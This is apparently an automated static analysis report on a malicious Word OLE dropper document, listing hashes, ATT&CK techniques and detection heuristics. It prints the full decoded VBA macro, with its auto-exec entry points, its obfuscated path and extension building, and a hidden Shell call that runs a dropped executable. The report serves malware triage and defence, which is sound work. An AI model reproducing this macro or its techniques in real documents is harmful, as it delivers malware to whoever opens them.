Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c54bb671cd3e036…

MALICIOUS

Office (OLE)

256.0 KB Created: 2015-12-08 10:44:00 Authoring application: Microsoft Office Word First seen: 2018-08-05
MD5: f5d75280f78b9f675bbc31f916a3f7ab SHA-1: 5bda371cef76cd136e52441613806095513e52b8 SHA-256: 6c54bb671cd3e036c275e6bc292a8c7eda9a6205b35e7869369e4fccd599fe63
554 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1137.002 Office Application Startup: Office Test Scripts T1027 Obfuscated Files or Information T1204.002 Malicious File: Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros that trigger on opening. The macro uses the Shell() function to execute a dropped Windows executable, identified as 'embedded_office_00005051.exe'. The script also attempts to save files to C:\Users\Public\djw.exe and C:\Users\Public\nub.exe, indicating a downloader or dropper functionality.

Heuristics 17

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Dim ght As Variant
ght = Shell(ms, 0)
End Function
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    SafariUnder (2)
Set rrBbsaBBsnb = CreateObject("W" & "ord.Application")
rrBbsaBBsnb.Visible = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    UQHDAD = "dnqwh;'lwqd"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
   YQGWDASD = "vnbyuqw" + "';][wq;d"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Function
Sub Auto_Open()
    BHGSSkjdS
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    RABAKAPA = _
Environ$(EYTGAS) + PYQDASD
KKGG = "."
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2103 bytes
SHA-256: a91fb329d9fa3de2d694f74dc4cc01d0e6b0c746dc384385ac31eac3e6a9a36d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub MokdnHs()
    YQGWDVTQW = "h12ge" + "qwdhjkbw" & "sandjkhkq"
    BHGSSkjdS
End Sub
Sub Workbook_Open()
   YQGWDASD = "vnbyuqw" + "';][wq;d"
    BHGSSkjdS
End Sub
Sub BHGSSkjdS()
Dim FFFJBYWQ As String, haa As Integer
XXXBHYQWD = DatePart("yyyy", "02/09/2077")
NJNKBAS = "njkqwndsa"
XXXBHYQWD = Right(XXXBHYQWD, 1)
EYTGAS = "EM"
haa = Val(XXXBHYQWD) - 8
On Error Resume Next
PYQDASD = Right("d\", 1)
EYTGAS = "T" + EYTGAS + "P"
RABAKAPA = _
Environ$(EYTGAS) + PYQDASD
KKGG = "."
TETE = KKGG + "e" & Chr(90 + haa + 30 + 1) & "e"
JNBBH = KKGG + "" & "r" & Chr(haa + 117) & "f" + ""

TTTDADSS = RABAKAPA + "djw" + JNBBH
RRTFDASD = RABAKAPA + "nub" + JNBBH
FFFJBYWQ = RABAKAPA & "nnm11" & TETE

SAnhfsd (TTTDADSS)
SAnhfsd (RRTFDASD)
SafariUnder (2)
Set rrBbsaBBsnb = CreateObject("W" & "ord.Application")
rrBbsaBBsnb.Visible = False
rrBbsaBBsnb.Documents.Open (TTTDADSS)
SafariUnder (2)
HYUASGD = Module1.Mshduwh(FFFJBYWQ)
YQGUDAS = "qlwdjklqwhdjkqw"
SafariUnder (1)
rrBbsaBBsnb.Quit
Set rrBbsaBBsnb = Nothing
End Sub
Sub AutoOpen()
    UQHDAD = "dnqwh;'lwqd"
    MokdnHs
End Sub
Sub SafariUnder(Mans As Long)
Dim HJBDAS As String, GGdbsa As Long
VCYGASD = "qwkop1239128"
GGdbsa = Mans + Timer
Do While Timer < GGdbsa
DoEvents
Loop
EQWYUGDA = "bhvhkjasd "
End Sub
Public Function SAnhfsd(Nbhwd As String)
    ActiveDocument.SaveAs FileName:=Nbhwd, FileFormat:=wdFormatRTF
End Function
Sub Auto_Open()
    BHGSSkjdS
    TFASD = "qhdbnbyqkj123"
End Sub








Attribute VB_Name = "Module2"

Attribute VB_Name = "Module1"
Sub vuwqdas()
Do While eihus < nvbhj
NBQWDA = "ndjqkwbh"
Loop
End Sub
Public Function Mshduwh(ms As String)
Dim ght As Variant
ght = Shell(ms, 0)
End Function
Sub cuhhiqwd()
BUQWD = "qwlkdljwqkljd"
End Sub
embedded_office_00005051.exe embedded-pe Office MZ+PE at offset 0x5051 241583 bytes
SHA-256: c69f1891b70c6627b766689bf8f272686bce57c4f68fbfd4167af8e9d63145ec
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1511186261/Ole10Native 212693 bytes
SHA-256: 6aff75f6a78b41069f9599dbe4c55abd681c0454c9cb01896c56e7a7e03b96dc

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